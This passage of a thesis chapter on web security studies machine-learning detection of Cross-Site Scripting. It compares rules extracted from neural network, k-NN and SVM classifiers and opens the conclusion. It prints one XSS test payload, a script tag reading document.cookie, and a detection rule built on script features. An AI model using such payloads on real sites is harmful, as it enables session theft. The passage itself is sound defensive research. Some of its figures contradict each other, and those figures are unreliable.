The experiment (with the k-NN classifier) was conducted in the same way as the neural network experiment - using the same training dataset to train the classifier, and using the testing dataset to evaluate the extracted rules. The same features, 34 which were ranked as the best features in terms of effectiveness in making classification decisions were applied. In order to obtain the best performance from the k-NN classifier, the parameter which determines the number of neighbours examined when processing each instance of the dataset presenting 34 features was optimised. Automatic optimisation was used to determine the best parameter value, this yielded a figure of 4 neighbours; thus this parameter was set to 4. In addition, 32/64/128 instances were used as sample sizes with respect to the fixed number of features. The experiment aimed at extracting rules from the k-NN classifier was performed using the highest ranking features in order to extract an approximation of the Boolean function. The experiment was conducted using 1, 2, 4, 8, 10, 12, and 16 fixed features. Table 7.12 shows the performance of the k-NN classifier when using the full 65 feature set. Comparing this latter to Table 7.2, which shows the performance of the neural network classifier, it can be observed that the k-NN classifier performs slightly better than the neural network classifier.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Malicious	Benign
99.90	99.94	99.84	99.95	Malicious	9994	6
				Benign	16	14080

Table 7.12 k-NN Classifier Performance Using 65 Features

Table 7.13 demonstrates the performance of k-NN when using 34 features. The results show that the accuracy of this classifier is not as good as that of the k-NN classifier applying 65 features. It is worth mentioning, however, that the precision of the 34-feature classifier was better – it returned no false positives. Similarly, the neural network classifier which applied 34 features yielded worse accuracy but slightly better precision than the neural network with 65 features.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Malicious	Benign
99.68	100	99.25	100	Malicious	1000	0
				Benign	75	14021

Table 7.13 k-NN Classifier Performance Using 34 Features

Table 7.14 shows the performance of the k-NN classifier using 16 features, this attained a high accuracy of up to 99.83% and a precision rate of up to 99.99%. Compared with the neural network classifier using 16 features , this k-NN classifier was slightly better in terms of accuracy and precision.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Malicious	Benign
99.83	99.99	99.61	99.99	Malicious	9999	1
				Benign	39	14057

Table 7.14 k-NN Classifier Performance Using 16 Features

Table 7.15 shows the classification of the truth table generated from the k-NN Classifier taking into account 16 features. It shows the cases that have been classified as benign or malicious which were covered initially by the Boolean function after minimisation.

Class	Malicious	Benign	Minimised
Rules	47,244	18,292	1,598

Table 7.15 k-NN Classifier Rules Using 16 Features

From Table7.15 it can be observed that the Boolean function generated from the use of k-NN provides slightly better accuracy than the Boolean function generated from the neural network classifier.

7.9.1 k-NN Rules

After applying the sampling method to the truth table (in order to find the class determined by each row within the table), each row could be seen as one of the rules which described one class. The sampling method was performed using 1, 2, 4, 8, and 16 features as fixed features. Table 7.16 shows the results of the distribution

(application) of the testing dataset to the extracted rules. The sampling method started using a sample size of 32. Where this led to an equal number of malicious to benign instances, the sample size was increased to 64, if there were still as many malicious instances as benign the sample size was increased again - to 128.

	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1 Feature	58.49	0	0	58.49		Malicious	Benign
					Malicious	0	10000
					Benign	0	14096
2 Features	98.95	97.60	99.87	98.32		Malicious	Benign
					Malicious	9760	240
					Benign	12	14084
4 Features	98.74	97.08	99.88	97.96		Malicious	Benign
					Malicious	9708	292
					Benign	11	14085
8 Features	99.48	98.25	92.78	99.44		Malicious	Benign
					Malicious	9925	75
					Benign	772	13324
10 Features	96.50	96.91	94.78	97.77		Malicious	Benign
					Malicious	9691	309
					Benign	533	13563
12 Features	99.72	99.79	99.54	99.85		Malicious	Benign
					Malicious	9979	21
					Benign	46	14050
16 Features	97.06	99.95	93.43	99.96		Malicious	Benign
					Malicious	9995	5
					Benign	702	13394

Table 7.16 Extracted Results From k-NN Using 32/64/128 Samples

The results shown in Table 7.16 can be used to compare between the extraction of rules from the neural network (using 16 features and 32/64/128 samples) and from the k-NN classifiers (in the same set-ups). The rules extracted from the neural network classifier proved to be the best, achieving 99.87% accuracy whereas those extracted from the k-NN classifier achieved only a maximum of 97.06% accuracy. However, the neural network classifier attained a precision rate of up to 99.86%, whereas k-NN achieved a 99.95% precision rate. There were 14 false positives resulting from the use of the neural network classifier whereas the use of k-NN resulted in the misclassification of only five malicious instances; thus, the latter was better in terms of precision rate.

Table 7.17 shows the number of rules for each class; in addition, the last column shows the number of rules after minimization. Comparing the Boolean functions

Features	Malicious	Benign	Minimised
1 Feature	1	1	1
2 Features	3	1	1
4 Features	7	9	5
8 Features	151	105	32
10 Features	593	431	105
12 Features	3,334	762	94
16 Features	44,120	21,416	2,843

Table 7.17 Numbers of k-NN Rules Using 32/64/128 Samples

extracted from the two classifiers, it can be seen that the functions that were extracted from the rules of the neural network classifier were larger than those extracted from the k-NN classifier. Note that, regardless of the rules used, any case which does not accord to any rule is classified as malicious.

7.9.2 k-NN Timing Performance

Processing-time plays an important role in rule extraction. In the case of the extraction of rules from the k-NN classifier, the sampling algorithm was modified to try to minimize the time taken to extract the rules. Table 7.18 shows the time taken to extract rules from the classifier for each fixed set of features. From the processing-time performance thus demonstrated, it can be seen that the time taken to extract the rules from the k-NN classifier was longer than that required to extract the rules from the neural network classifier; this was as expected. Moreover, the last column in the table shows the time taken to distribute the testing dataset across the extracted rules.

Features	Labelling Interval	Testing Interval
1 Feature	1 sec	1 sec
2 Features	1 sec	1 sec
4 Features	6 sec	1 sec
8 Features	101 sec	11 sec
10 Features	419 sec	46 sec
12 Features	2,016 sec	206 sec
16 Features	23,971 sec	3,055 sec

Table 7.18 Timing of Rule Extraction from k-NN Classifier Using 32/64/128 Samples

7.10 SVM Rules Using 32/64/128 Samples

After verifying the effectiveness of the proposed method for extracting rules from black box classifiers, this method was then applied to a Support Vector Machine using a linear kernel classifier - which is considered to be a black box classifier. The reason for choosing a SVM classifier is the fact that such can achieve very good results in terms of accuracy and precision - as described in Chapter 4; it achieved an accuracy rate of 99.82% and a precision rate of 99.89% when 65 features were applied.

On the same principle as the experiments described above, the SVM classifier was trained using the same training dataset and the highest ranked features in terms of them being used for extracting rules. The testing dataset was then employed to evaluate the extracted rules. Furthermore, 32/46/128 sample sizes were applied with respect to the fixed feature set in order to extract an approximate Boolean function. This latter experiment was conducted using 1, 2, 4, 8, 10, 12, and 16 fixed features.

Table 7.19 shows the SVM performance when 34 features were applied, demonstrating high accuracy 99.88% and a precision of up to 99.90%. Compared with the neural network classifier, the SVM classifier was slightly better in terms of accuracy, but the neural network classifier was slightly better in terms of precision. Compared to the k-NN classifier, it can be seen that the SVM classifier was slightly better in terms of accuracy, but k-NN was better in terms of precision (since it achieved 100% on this measure).

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Malicious	Benign
99.90	99.90	99.88	99.92	Malicious	9990	10
				Benign	12	14087

Table 7.19 SVM Classifier Performance Using 34 Features

Table 7.20 shows the performance attained by SVM using 16 features; the classifier achieved a 99.90% accuracy and a precision rate of up to 99.87%. Compared with the neural network classifier, the SVM classifier was slightly better in terms of accuracy but on the other hand the neural network was better than SVM in term

of precision. When compared to the k-NN classifier using 16 features, it can be observed that the same results applied; SVM was better in terms of accuracy, but k-NN was better in terms of precision.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Malicious	Benign
99.90	99.87	99.89	99.90	Malicious	9987	13
				Benign	11	14085

Table 7.20 SVM Classifier Performance Using 16 Features

Table 7.21 shows the classification of the truth table using the SVM classifier with 16 features. It shows cases that have been classified as benign or malicious in addition to the Boolean function after the minimising.

Class	Malicious	Benign	Minimised
Rules	33,589	31,947	8,043

Table 7.21 SVM Classifier Rules Using 16 Features

7.10.1 SVM Rules

The sampling method was applied to the truth table, using a SVM classifier that had been trained with 34 features; the purpose of this was to obtain a class determination for each row of the truth table. Further, the sampling method was applied using the following numbers of fixed features: 1, 2, 4, 8, 10, 12, and 16. Table 7.22 presents the results of distributing the testing dataset over the truth table or, in other words, over the extracted rules. From the results of this, it can be observed that the rules extracted using the SVM classifier achieved a 99.90% accuracy and 99.98% precision; these results are, relatively, very good. Also, it can be observed that the numbers of false positive decrease with increasing numbers of fixed features. Comparing the rules extracted from the SVM and from the NN, it can be seen that the results yielded by the SVM are slightly better in terms of accuracy and precision. Moreover, the number of false positives returned by the rules extracted from the SVM classifier is slightly lower than the number returned by the rules extracted from the NN. When

comparing the results of the rules extracted from the SVM with the results yielded by the rules extracted from k-NN, it can be observed that the accuracy produced by the SVM rules is slightly better than that produced by the k-NN, but the rules extracted from k-NN yield a higher precision than those from the SVM, and this can be seen in the numbers of false positives returned by each kind of classifier.

	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1 Feature	91.96	80.70	99.92	87.95		Malicious	Benign
					Malicious	8070	1930
					Benign	6	14090
2 Features	91.96	80.70	99.92	87.95		Malicious	Benign
					Malicious	8070	1930
					Benign	6	14090
4 Features	98.74	97.03	99.93	97.93		Malicious	Benign
					Malicious	9703	297
					Benign	6	14091
8 Features	98.24	95.80	99.97	97.10		Malicious	Benign
					Malicious	9580	420
					Benign	2	14094
10 Features	99.18	98.07	99.96	98.64		Malicious	Benign
					Malicious	9807	193
					Benign	3	14093
12 Features	99.09	97.85	99.97	98.49		Malicious	Benign
					Malicious	9785	215
					Benign	2	14094
16 Features	99.90	99.88	99.89	99.91		Malicious	Benign
					Malicious	9988	12
					Benign	11	14085

Table 7.22 Extracted Results From SVM Using 32/64/128 Samples

Table 7.23 shows the number of rules for each class - when the sampling method was used to determine each class. The last column of the table shows the number of Boolean functions that were extracted once the rules had been minimizes, noting that the Boolean function returns the malicious class in cases that do not accord to the function. From a comparison of the Boolean function extracted from the SVM and that extracted from the NN, it can be observed that the size of the Boolean function yielded by the SVM is larger than the size of that returned by the NN, and this resulted in the greater accuracy of the SVM generated function. On the other hand, comparing the Boolean function yielded by the SVM and by the k-NN, it can be observed that the Boolean function returned by the SVM is larger than the Boolean function returned by the k-NN, and this larger function achieved greater accuracy.

Features	Malicious	Benign	Minimised
1 Feature	1	1	1
2 Features	2	2	1
4 Features	8	8	4
8 Features	79	177	35
10 Features	327	697	129
12 Features	1,193	2,903	448
16 Features	35,780	29,756	5,884

Table 7.23 Numbers of SVM Rules Using 32/64/128 Samples

7.10.2 SVM Timing Performance

Since processing time is an important factor in relation to extracting rules from black box classifiers, the performance, in these terms, with respect to extracting rules has been monitored in relation to the SVM classifier. Table 7.24 shows the processing time performance as regards extracting rules using each predetermined fixed set of features with a SVM classifier. It can be observed that extracting rules and creating a Boolean function using a SVM classifier incurs the least processing time in relation to all the investigated classifiers. and it can be noted that extracting the approximate Boolean function using 16 features took only 3,720 seconds, and in this respect at least there is a significant difference between extracting rules using a SVM classifier and extracting roughly equivalent rules using the NN and k-NN classifiers.

Features	Labelling Interval	Testing Interval
1 Feature	1 sec	1 sec
2 Features	1 sec	1 sec
4 Features	1 sec	1 sec
8 Features	9 sec	11 sec
10 Features	36 sec	45 sec
12 Features	135 sec	180 sec
16 Features	3,720 sec	2,956 sec

Table 7.24 Timing of Rule Extraction from SVM Classifier Using 32/64/128 Samples

7.11 Rules Representation

In this section, an explanation of the initial form of the rules extracted from the truth table will be presented then a clarification of the representation of the rule after miniaturisation and how to logically represent minimised rules to be used programmatically.

After completing the sampling process, a truth table is produced and all rows are labelled either malicious or benign. Hence, each row is a rule that classifies instances into one of the two classes. An example of truth table rules (the truth table with 16 features will be used) is shown in Table 7.25.

F1	F2	F3	F4	F5	F6	F7	F8	F9	F10	F11	F12	F13	F14	F15	F16	Class
0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	**1**
0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	1	**1**
0	0	0	0	0	0	0	0	0	0	0	0	0	0	1	0	**0**
0	0	0	0	0	0	0	0	0	0	0	0	0	0	1	1	**0**
0	0	0	0	0	0	0	0	0	0	0	0	0	1	0	0	**1**

Table 7.25 Initial Rules from Truth Table

Where:
(0) indicates that the feature is not present. (1) indicates the feature is present.
Class (0) indicates malicious. Class (1) indicates benign.

The second step is to minimise the rules within the truth table in order to obtain rules that represent only one class, either malicious or benign. In this study, the rules that were labelled benign will be used, any payload that does not meet these rules is considered malicious. An example of rules that are minimised are the rules in the truth table in Table 7.25 They will be minimised to the format as shown in Table 7.26.

F1	F2	F3	F4	F5	F6	F7	F8	F9	F10	F11	F12	F13	F14	F15	F16	Class
0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	X	**1**
0	0	0	0	0	0	0	0	0	0	0	0	0	X	0	1	**1**

Table 7.26 Minimized Rules from Truth Table

Minimised rules can also be expressed by an equation as follows.
Class = F1’ F2’ F3’ F4’ F5’ F6’ F7’ F8’ F9’ F10’ F11’ F12’ F13’ F14’ F15’ + F1’ F2’ F3’ F4’ F5’ F6’ F7’ F8’ F9’ F10’ F11’ F12’ F13’ F15’ F16’;

The final step is to substitute the value for the feature names with the features in order in Table 7.1. Then, use the minimised rule on if-then-else forms. For example,

```
if (Alert == 0 & < == 0 && { == 0 && ? == 0 && ! == 0 && .JS == 0
&& HTTP == 0 && - == 0 && ’ == 0 && ; == 0 && & == 0 && , == 0
&& Src == 0 && space == 0 && &# == 0) Then Class Benign
OR
if (Alert == 0 & < == 0 && { == 0 && ? == 0 && ! == 0 && .JS == 0
&& HTTP == 0 && - == 0 && ’ == 0 && ; == 0 && & == 0 && , == 0
&& Src == 0 && &# == 0 && Eval == 0) Then Class Benign
Else
Class is Malicious
```

Example: In this example, the payload will be identified whether it is malicious or benign, Whereas, a malicious payload obtained from the training dataset will be used.

Payloads: id=26%22%3e%3cscript%3ealert%28document.cookie%29%3c/script%3e

First step: extract the features from within the payload, where 34 features will be extracted according to Table 7.1. The extracted features values are shown in Table 7.27.

Feature	Value	Feature	Value	Feature	Value	Feature	Value
F1	1	F10	0	F19	0	F28	0
F2	1	F11	1	F20	0	F29	1
F3	0	F12	0	F21	0	F30	0
F4	1	F13	1	F22	0	F31	1
F5	0	F14	0	F23	1	F32	0
F6	0	F15	0	F24	0	F33	1
F7	1	F16	0	F25	0	F34	0
F8	1	F17	1	F26	1		
F9	1	F18	0	F27	0		

Table 7.27 Extracted Features Values

Second step: A comparison will be made between the values of the extracted features (top 16 features) with the truth table, in order to find out the payload class based on the truth table. Table 7.28 shows the compared row in the truth table. The comparison result was, as expected, malicious.

F1	F2	F3	F4	F5	F6	F7	F8	F9	F10	F11	F12	F13	F14	F15	F16	Class
1	1	0	1	0	0	1	1	1	0	1	0	1	0	0	0	0

Table 7.28 Comparison Row in the Truth Table

The previous example illustrated the benefit from the rules extracted using the proposed approach, as it illustrated how the approach is to classify payloads and achieve results.

7.12 Rules Distribution

Knowing the number of samples which accord to each row (rule) of the truth table in terms of being defined by the associated class makes it possible to know which rules most strongly influence the classification decision-making. For this reason, an experiment was conducted to extract the number of samples used for each row to determine whether that row identified (when true) malicious or benign instances. For this purpose, a sample size of 32 was used; then the sampling method was applied to the truth table and the results were calculated relative to each class. Then these results were distributed into a table that includes all the possibilities that can occur with a sample size of 32.

In order to find out whether the extracted rules had the same effects in relation to the testing dataset as they did on the above sample, instances of the testing dataset were distributed over the truth table. After that the cases that verified the previously determined meaning of each rule were taken account of in the truth table and then added to the probability table.

These steps were applied to all the classifiers that have been examined in this chapter: NN, k-NN, and SVM. Based on the results posted to the probability table, a plot was created showing these results correlated with the samples used for the truth table and the instances from the testing dataset.

7.12.1 NN Probabilities Distribution

The probabilities that occur when using 32 samples are given in Table 7.29. This table shows the probability table results derived from distributing the samples over the truth table cases generated from the neural network classifier using 16 features. Cases 1 to 16 represent the rules which were assigned to the benign class, cases 17 to 33 represent the rules which were assigned to the malicious class, and the last column shows the number of probabilities in the testing dataset.

	Malicious	Benign	Iterations	Testing
1	0	32	2089	2317
2	1	31	2005	819
3	2	30	1768	391
4	3	29	1718	83
5	4	28	1702	538
6	5	27	1574	10
7	6	26	1474	3779
8	7	25	1468	0
9	8	24	1477	684
10	9	23	1496	5428
11	10	22	1395	6
12	11	21	1462	4
13	12	20	1419	2
14	13	19	1326	7
15	14	18	1363	13
16	15	17	1348	3
17	16	16	1334	9

	Malicious	Benign	Iterations	Testing
18	17	15	1386	4
19	18	14	1341	8
20	19	13	1454	1
21	20	12	1448	10
22	21	11	1427	0
23	22	10	1515	4
24	23	9	1592	22
25	24	8	1635	14
26	25	7	1694	18
27	26	6	1806	8
28	27	5	2038	39
29	28	4	2264	56
30	29	3	2606	487
31	30	2	3232	585
32	31	1	4402	2530
33	32	0	9278	6217

Table 7.29 Number of Occurrences of Samples and Testing in a NN

Figure 7.1 shows the curve for the distribution of the truth table (blue line) in relation over the various probabilities; the right edge of the curve shows an increase in the number of instances from the samples that were malicious. Furthermore, from the distribution yielded by the testing dataset (orange line), it can be observed that the instances of the testing dataset were directed to the most influential rules in the rule set, as it (the distribution) keeps away from the gray area in the middle of the curve.

7.12.2 k-NN Probabilities Distribution

Table 7.30 shows the results derived from the distribution of the truth table derived in turn from the k-NN classifier using 16 features - on the probability table. Cases 1

Fig. 7.1 Number of Occurrences of the Samples in a NN

to 16 represent the rules that have been assigned to the benign class, and cases 17 to 33 represent the rules that have been assigned to the malicious class; the last column shows the number of probabilities yielded by the testing dataset. From this table, it can be seen that the possibilities of distributing the truth table representing the rules extracted from the k-NN classifier are close to each other. This convergence causes confusion in relation to the Boolean function. From the distributing of the testing dataset over the probability table, it can be noted that most instances of the testing dataset have moved to probabilities 1 and 33, and this explains why the rules extracted using k-NN achieved the best precision rate.

Figure 7.2 shows the representation of probabilities generated by the distribution (application) of samples. From the figure, it can be observed that the curve increases from case 1 to case 16, this corresponds to the number of rules for benign extracted from the k-NN classifier. From case 17, again an increase in the curve can be observed - which indicates an increase in the rules for malicious extracted from the classifier. It is worth noting that the number of rules in Table 7.17 results from the rules extracted employing a k-NN classifier using 32/64/128 samples, whereas the figure represents a classifier using a sample size of 32 only, as related to the case where there were equal numbers of instances classified as malicious and benign.

	Malicious	Benign	Iterations	Testing
1	0	32	612	12331
2	1	31	616	63
3	2	30	685	16
4	3	29	774	9
5	4	28	803	3
6	5	27	886	10
7	6	26	967	39
8	7	25	1094	85
9	8	24	1191	374
10	9	23	1318	5
11	10	22	1471	126
12	11	21	1694	5
13	12	20	1790	15
14	13	19	1959	660
15	14	18	2171	9
16	15	17	2325	7
17	16	16	2561	318

	Malicious	Benign	Iterations	Testing
18	17	15	2564	5
19	18	14	2815	4
20	19	13	2922	7
21	20	12	2989	7
22	21	11	2912	3
23	22	10	3012	12
24	23	9	3053	12
25	24	8	3083	7
26	25	7	2777	7
27	26	6	2831	93
28	27	5	2700	50
29	28	4	2462	73
30	29	3	2155	105
31	30	2	1916	168
32	31	1	1754	281
33	32	0	2674	9187

Table 7.30 Number of Occurrences of the Samples in a k-NN

From the testing curve, it can be observed that instances of the testing dataset exist at the ends of the curve.

Fig. 7.2 Number of Occurrences of the Samples in a k-NN

7.12.3 SVM Probabilities Distribution

Table 7.31 shows the results of the rule distribution probability using 32 samples, and the testing dataset distribution.

	Malicious	Benign	Iterations	Testing
1	0	32	14135	9169
2	1	31	2791	4558
3	2	30	1880	296
4	3	29	1473	8
5	4	28	1215	41
6	5	27	1091	1
7	6	26	1027	5
8	7	25	954	10
9	8	24	917	0
10	9	23	788	6
11	10	22	717	3
12	11	21	575	0
13	12	20	467	0
14	13	19	505	0
15	14	18	495	1
16	15	17	525	5
17	16	16	677	11

	Malicious	Benign	Iterations	Testing
18	17	15	694	1
19	18	14	687	26
20	19	13	735	5
21	20	12	740	1
22	21	11	752	10
23	22	10	700	1
24	23	9	698	20
25	24	8	734	18
26	25	7	701	3
27	26	6	875	76
28	27	5	998	77
29	28	4	1198	7
30	29	3	1473	103
31	30	2	1926	40
32	31	1	3040	38
33	32	0	19353	9556

Table 7.31 Number of Occurrences of the Samples in a SVM

From the table, it can be observed that the distribution of the truth table over the table of probabilities starts with a large number assigned to case 1, and then the numbers assigned begin to decrease until the gray area is reached - approximately at case 16. Then the number of rules that achieve the probabilities given from case 17 onwards in the probability table begin to increase again. Moreover, from the table it can be seen that the distribution of the testing dataset was mostly to the first and last cases - which achieved the highest numbers of testing dataset instances. This indicates that the rules extracted using SVM have a high accuracy rate.

Figure 7.3 shows the probability table distribution curve for both the truth table and the testing dataset. From the figure, it can be seen that the probability distribution of the truth table of the rules extracted using SVM and the testing dataset are very close to each other since the influencing cases are present on the sides of the curve. This indicates that the rules extracted using SVM are identical in their work to the work of the classifier, and so they can divide the feature space with a high degree of accuracy.

Fig. 7.3 Number of Occurrences of the Samples in a SVM

7.13 Discussion

The key findings of this work are presented in Table 7.6. This table gives the evaluation of the Boolean function using 16 features as a rule-based classifier; the rules were extracted from a neural network which used 34 features, see Table 7.3. In fact, the performance of the rule-based classifier was slightly better than that of the neural network (using the same number of features). The rule-based classifier achieved a 99.90% accuracy and a 99.94% precision; this indicates that the rules had been successfully extracted, and In addition the rule-based Boolean function, which is shown in Table 7.6, performed slightly better than the neural network model which had been trained using the same 16 features - its results are presented in Table 7.4. A series of approximations were built and evaluated, as shown in Table 7.4, using an increasing number of features. In addition, Table 7.7 shows the number of rules before and after minimisation. It can be observed that the number of rules after minimisation increases with the number of features used; this improves the performance of the resulting Boolean functions. The improvements are not necessarily monotonic, but the pattern is clear.

However, the cost of these improvements is in the time it takes to create the Boolean functions, as shown in Table 7.8, where the computation time is shown

to exponentially increase when building the function for increasing numbers of features. Indeed, the best approximation (to the 34 feature Boolean function), using 16 features, took five days of calculation. When compared against the Boolean function that was extracted from the neural network using 16 features, the number of rules after minimisation is comparable, but it should be noted that it is faster to extract the rules from the smaller network because that process does not require sampling.

To mitigate the processing-time issue encountered when applying the sampling method, the sampling algorithm was modified to use reduced sample sizes, but at the same time the diversity of the samples used was maintained to be equivalent to that available with the previous sampling method. The modified method yielded approximate results in relation to the previous method; It should be noted, however, that the Boolean function increased in size, see Table 7.7 with Table 7.10. Moreover, from Table 7.11, it can be seen that processing-time performance increased very significantly.

By applying the modified algorithm to another black box classifier, k-NN, it was observed that the results derived from NN are slightly better in terms of accuracy, compared to the rules extracted from k-NN, but that the precision rate yielded by k-NN is slightly better than that yielded by the NN classifier. The results of the distribution of the testing dataset over the rules extracted from the k-NN classifier are given in Table 7.16. The reason the accuracy of the rules extracted from the NN is higher is that that classifier uses a complex equation to map the inputs to the class, whereas the k-NN classifier simply compares the inputs with the closest neighbour to define the class. From Table 7.18, it can be observed that the performance in terms of processing-time for extracting rules from the k-NN classifier was worse than expected. Indeed, compared to the equivalent process relating to the NN classifier, it took twice the time.

In the same way, the rules were extracted from the SVM classifier using the modified algorithm, and the results of the testing of the extracted rules are given in Table 7.22. It can be seen that the accuracy yielded by the rules extracted from

the SVM is the best among the rules extracted from the three classifiers. Again the SVM classifier, like the NN classifier, maps the inputs to the classes using a complex formula that has proven its effectiveness in the course of the training process; this is illustrated in the tables 7.3 and 7.19. It should be noted that the approximate Boolean function extracted from the 16 feature SVM classifier is larger than that represented by the rules extracted from the NN and k-NN classifiers, where table 7.23 shows the number of rules that represent each class and also the Boolean function after minimisation. In terms of processing-time performance, it was observed that the rules extracted using SVM were the fastest among the three classifiers; Table 7.24 shows the processing-time performance of the SVM classifier. Extracting the rules from the SVM classifier took less than half the time that it took to extract the rules from the NN using the modified algorithm. The reason for this facility to rapidly extract rules from the SVM classifier was the ability of the classifier to divide the features space into two parts linearly - which helps to speed up the decision-making required for the sampling method.

To verify the effectiveness of the rules extracted from the classifiers, a truth table that contained the rules extracted from each classifier was distributed to the probabilities table. The probabilities table shows the distribution of the instances when the sample sizes were 32. The tables 7.29, 7.30, and 7.31 show the results of the distribution of the truth table onto the probabilities table, and the last column shows the distribution of the testing dataset on the same possibilities. The aim of this particular investigation was to discover the rules affecting decision-making.

Figure 7.1 which represents the probability distribution yielded by the NN classifier and Figure 7.3 which represents the same but as yielded by the SVM classifier; it can be observed that most of the rules are clustered at the edges of the curve, meaning in cases 1 and 33 in the probability table where the decisions made by the rules are more clearly either malicious or benign - this increases the accuracy rate. The effectiveness of these rules is apparent when distributing the testing dataset on the same table of probabilities as most instances were clustered towards the rules at the edge of the curve. Figure 7.2 shows the distribution of the rules that were extracted

from the k-NN classifier over the probability table; it can be observed here that the distribution over the truth table results in a great deal of confusion in the gray area in the middle. Moreover, it can be observed that the curve shows that the edge that contains the benign cases has started low and then increased gradually as the number of rules describing malicious cases increases. This resulted in a higher precision rate for the rules that were extracted from the k-NN classifier, but in contrast these achieved a lower accuracy.

The motivation for this present research was to create a method whereby rule-based systems could be extracted from black-box classifiers, so allowing the presentation of some level of explicable artificial intelligence. Such a system allows the logic of any classifier to be described in such a way that the decisions it makes are auditable. The approximations, which are an additional focus of this study, also provide such auditable decisions, and successive approximations (using fewer and fewer features) show relatively good performance.

It can be observed, however, that when using an approximation based on just eight features, the sampling approach gives approximations which inhere some degree of noise. This is primarily because of feature number 7, URL addresses; paradoxically perhaps, this noise results in some additional misclassifications compared to the use of a four feature classifier. It should also be noted that the rules extracted via the use of just one feature provide useful results - with a 99.86% precision rate for rule extractions from NN, 99.99% for rule extractions from k-NN, and 99.88% for rule extractions from SVM. The reason for this is that the highest-ranking feature is "Alert" which is frequently found in attack scripts within the dataset that was used, whereas it is rarely found in benign scripts. This made it a very powerful feature. The use of the "greater-than" sign is also a powerful feature because it constitutes the beginning of script tag.

The above observations form a good illustration of XAI in action: the use of the rule-based system has resulted in an explicit explanation of the operation of the rules. However, it should also be recognised that the best approximation still consisted of thousands of rules even after minimisation, and whilst it does result in the decision

making being auditable, each individual decision must be interpreted in relation to a very large number of other rules.

This approach, as described in the methodology, requires the duplicate use of the training dataset: once for training the neural network, and again for the sampling employed in the extraction of the approximated Boolean function from the classifiers. However, given the size of the Boolean function described by the trained neural network and the k-NN and SVM classifiers, some kind of guidance seems inevitable in a black box approach to approximation. The black box approach has worked, and has resulted in the successful extraction of rules of the form, $(if...then...else)$ which can be utilised to distinguish malicious from benign scripts. This extraction can be achieved without delving any deeper into the inner structure of the neural network classifier or other black box classifiers.

7.14 Summary

In this chapter, a brief overview of the concepts involved with XAI and, in particular, the extraction of rules has been presented - along with a description of the most common types of rule extraction, including the methods employed to represent the rules. Furthermore, the minimising of Boolean expressions and the methods that have been applied to this purpose have been covered. The proposed system, which is considered to be the contribution of this thesis, is described in terms of how the rules are extracted from a (black-box) neural network classifier - with a detailed explanation of all the factors on which it depends. Emphasis was placed on the sampling system whereby samples were derived from the training dataset and then utilised to find the correct response (class) for each rule in the truth table.

Moreover, in this chapter, the ability to extract rules from a neural network and the k-NN and SVM classifiers was demonstrated; in the case where the feature space is Boolean, the result of such an extraction is a Boolean function that can be initially described using a truth table - and then minimised so that it can be represented in its most compact form. The rules extracted (using approximation based on 16 features)

from a classifier trained with 34 features provided good results in the classification of scripts as malicious or benign, achieving up to 99.90% accuracy (using SVM) and precision rates of up to 99.99% (using k-NN).

The results in terms of the processing time performance relating to rule extraction from the classifiers were reviewed; whereas the fact that the extraction of the Boolean functions involved here can be costly is not in itself a problem, it does limit the expansion and generalisation of the approach. For this reason, the sampling algorithm was modified in such a way as to avoid poor processing time performance while maintaining accurate results. The resulting of modified algorithm was tested on the NN, k-NN, and SVM classifiers and gave good results in terms of approximating the results yielded by the extraction method without modifications. Moreover, figures have been presented here showing the possibilities offered by the use of a sample size of 32, alongside a discussion of the power centres in the rules extracted using the classifiers. The results obtained in relation to the performance of the extracted rules, where these had been tested on the testing dataset, were discussed and compared with the results obtained by the actual classifiers on the same dataset.

Chapter 8

Conclusion

8.1 Summary of the Thesis

In conclusion, this research has developed a method, using machine learning, which detects Cross-Site Scripting attacks by developing the use of two groups of features (alphanumeric, non-alphanumeric) and their representation as Boolean. Experiments conducted in the course of this research have demonstrated the effectiveness of using machine learning to protect web applications from XSS attacks. There were a variety of classification algorithms used in the experiments: Support Vector Machine with both linear and polynomial kernels, k-Nearest Neighbour, Random Forest and Neural Network. These classifiers were employed to characterise users' inputs to a web application as either malicious or benign. All the classifiers looked at achieved accuracy and precision rates of greater than 99%. The results of this study can be compared with previous approaches in terms of precision, as previous studies in addition to this study achieved a precision rate more than 99%, but this study outperformed the previous approaches. This study achieved 99.96% precision rate using RF classifier, as using the same classifier in a previous study, it achieved 99.81%. These results were attained by training the classifiers using a dataset created for this purpose; malicious and benign scripts were collected from a number of reliable sources as described in Chapter 3.

Moreover, the extracted features are the main reason for achieving the high accuracy of the classifiers. As these features were selected based on the existence of these features within the payload. Also, features representation as a Boolean value contributed to the increased accuracy. Chapter 3 explained how to choose the features for each type of attack, as well as how to represent them for the purpose of training.

Furthermore, selecting effective features to identify XSS attacks has an important role to play in the detection of such attacks. The features were divided into groups: the most common features found in most types of attacks and the features that particular to a specific type of attack. In order to verify the effectiveness of the features, two other (than XSS) types of attack against web applications were included, SQL-i and LDAP although the greatest emphasis remained on XSS attacks. The results of the experiment conducted with respect to SQL-i and LDAP attacks yielded rates of accuracy and precision higher than 99%. The results obtained from the classifiers are detailed in Chapter 4, for each type of attack separately.

Moreover, to verify that the features can be used together, multi-class classifiers were created which were capable of classifying all three types of attack. Chapter 5 described in detail the creation of multi-class classifiers capable of categorising user input for a web application into the following classes: XSS, SQL-i, LDAP, and benign. These classifiers achieved better than 99% accuracy and precision rates.

Ensemble techniques and cascading classifiers were used to filter the inputs and increase accuracy, as explained in detail in Chapter 6. The classification results using this method were slightly better than those returned from the use of single classifiers. This method is considered one of the first to use stacking technique to detect XSS attacks. This method is one of the contributions to this thesis.

For the purposes of understanding the decisions made by these 'black-box' classifiers, rules were extracted from the Neural Network, k-Nearest Neighbour, and Support Vector Machine classifiers which explained their decision making. Chapter 7 describes in detail a proposed method for extracting rules from classifiers. The results achieved very good accuracies, and a Boolean function was derived from each set of

